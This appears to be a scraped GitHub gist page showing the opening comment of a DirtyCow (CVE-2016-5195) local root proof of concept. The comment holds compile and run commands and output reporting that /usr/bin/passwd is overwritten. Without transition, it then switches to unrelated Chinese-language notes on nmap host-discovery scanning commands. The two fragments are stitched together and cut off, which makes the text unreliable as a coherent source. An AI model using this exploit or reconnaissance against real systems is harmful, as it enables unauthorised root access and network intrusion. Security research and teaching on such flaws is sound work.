Skip to content

Instantly share code, notes, and snippets.

View Amranth's full-sized avatar
:octocat:
Working from home

Acer Amranth

:octocat:
Working from home
View GitHub Profile
@Amranth
Amranth / cowroot.c
Created November 19, 2016 05:21 — forked from rverton/cowroot.c
CVE-2016-5195 (DirtyCow) Local Root PoC
/*
* (un)comment correct payload first (x86 or x64)!
*
* $ gcc cowroot.c -o cowroot -pthread
* $ ./cowroot
* DirtyCow root privilege escalation
* Backing up /usr/bin/passwd.. to /tmp/bak
* Size of binary: 57048
* Racing, this may take a while..
* /usr/bin/passwd overwritten
最好的 NMAP 扫描策略
# 适用所有大小网络最好的 nmap 扫描策略
# 主机发现,生成存活主机列表
$ nmap -sn -T4 -oG Discovery.gnmap 192.168.56.0/24
$ grep "Status: Up" Discovery.gnmap | cut -f 2 -d ' ' > LiveHosts.txt
# 端口发现,发现大部分常用端口